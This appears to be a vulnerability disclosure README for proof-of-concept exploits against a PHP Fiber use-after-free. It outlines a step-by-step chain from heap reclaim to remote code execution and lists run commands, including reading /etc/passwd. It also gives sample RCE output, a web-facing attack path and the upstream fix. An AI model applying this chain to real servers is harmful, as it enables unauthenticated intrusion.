
Proof-of-concept exploits for a PHP Fiber callable use-after-free (CVE-2026-2031226) enabling heap reclaim, type confusion, info leak, and unauthenticated RCE.
Severity: Critical (CVSS 9.8 — unauthenticated RCE in web context)
Affected: PHP 8.1.x–8.4.27, PHP 8.5.x–8.5.12
Fixed in: PHP 8.4.28-dev, PHP 8.5.13-dev
Component: Zend/zend_fibers.c — zend_fiber_addref_callable() (missing)
Type: Use-After-Free → Heap reclaim → Property aliasing → RCE
When a PHP Fiber is created with a class-method callable [ClassName::class, 'method'] inside an instance method, PHP resolves implicit $this into fci.object without incrementing its reference count (GC_ADDREF). If the object is freed before Fiber::start() is called, the freed memory slot can be reclaimed by an attacker-controlled allocation of the same size, enabling cross-class property aliasing and remote code execution.
1. Fiber UAF: new Fiber([SafeProcessor::class, 'process'])
→ fci.object = $processor, NO GC_ADDREF (the bug)
2. Free: unset($processor)
→ efree(56-byte slot), fci.object dangling
3. Heap reclaim: new UserRequest($argv[1])
→ LIFO free list, UserRequest lands in freed slot
→ UserRequest::$command = attacker-controlled string
4. UAF trigger: $fiber->start()
→ PHP reads fci.object (UserRequest's slot)
→ name-lookup "command" in UserRequest's ce
→ IS_STRING = attacker input
→ system($this->command) → RCE
# Original crash (SIGSEGV, exit 139)
php poc_fiber_uaf.php
# Type confusion: IS_LONG read as IS_STRING
php poc_fiber_type_confusion.php
# 64-bit value injection / info leak primitive
php poc_fiber_infoleak.php
# Full RCE — attacker-controlled input via argv[1]
php poc_fiber_rce.php 'id && whoami'
php poc_fiber_rce.php 'cat /etc/passwd'
$ php poc_fiber_rce.php 'id && uname -a'
[*] Attacker input: 'id && uname -a'
[*] SafeProcessor freed, UserRequest at same address
[*] Starting fiber...
---
[victim expects] command = 'echo safe_output_only'
[actual shell output]:
uid=501(adrian) gid=20(staff) groups=20(staff),80(admin),...
Darwin ... arm64
---
[*] RCE complete (exit 0)
For RCE to be exploitable, target application must satisfy all:
system()/exec()/shell_exec() using $this->prop[VictimClass::class, 'method'] inside instance method$fiber->start() (unset, scope exit, GC)sizeof(AttackerClass) == sizeof(VictimClass) (same ZendMM bin: 40 + n_props * 16 bytes)$fiber->start() called after attacker class allocatedIn web/FPM context: $_GET['cmd'] → new AttackerClass($_GET['cmd']) → reclaims slot → system($_GET['cmd']) — unauthenticated RCE.
Zend/zend_fibers.c — missing GC_ADDREF in callable resolution:
// BUG: fci.object stored without refcount increment
// Fix (PHP 8.4.28-dev / 8.5.13-dev):
static void zend_fiber_addref_callable(zend_fcall_info *fci) {
if (fci->object) {
GC_ADDREF(fci->object); // added by fix
}
}
PHP 8.4.28-dev and 8.5.13-dev add zend_fiber_addref_callable() with GC_ADDREF(fiber->fci.object) and a paired OBJ_RELEASE in zend_fiber_release_callable().
| File | Description |
|---|---|
poc_fiber_uaf.php | Original crash PoC (exit 139, SIGSEGV) |
poc_fiber_type_confusion.php | Type confusion: IS_LONG where IS_STRING expected |
poc_fiber_infoleak.php | 64-bit controlled value injection / info leak primitive |
poc_fiber_rce.php | Full RCE with attacker-controlled external input |
disclosure_fiber_uaf.txt | Full disclosure sent to [email protected] and [email protected] |
Adrian / [email protected] Building on prior PHP security research: CVE-2026-109618, CVE-2026-109619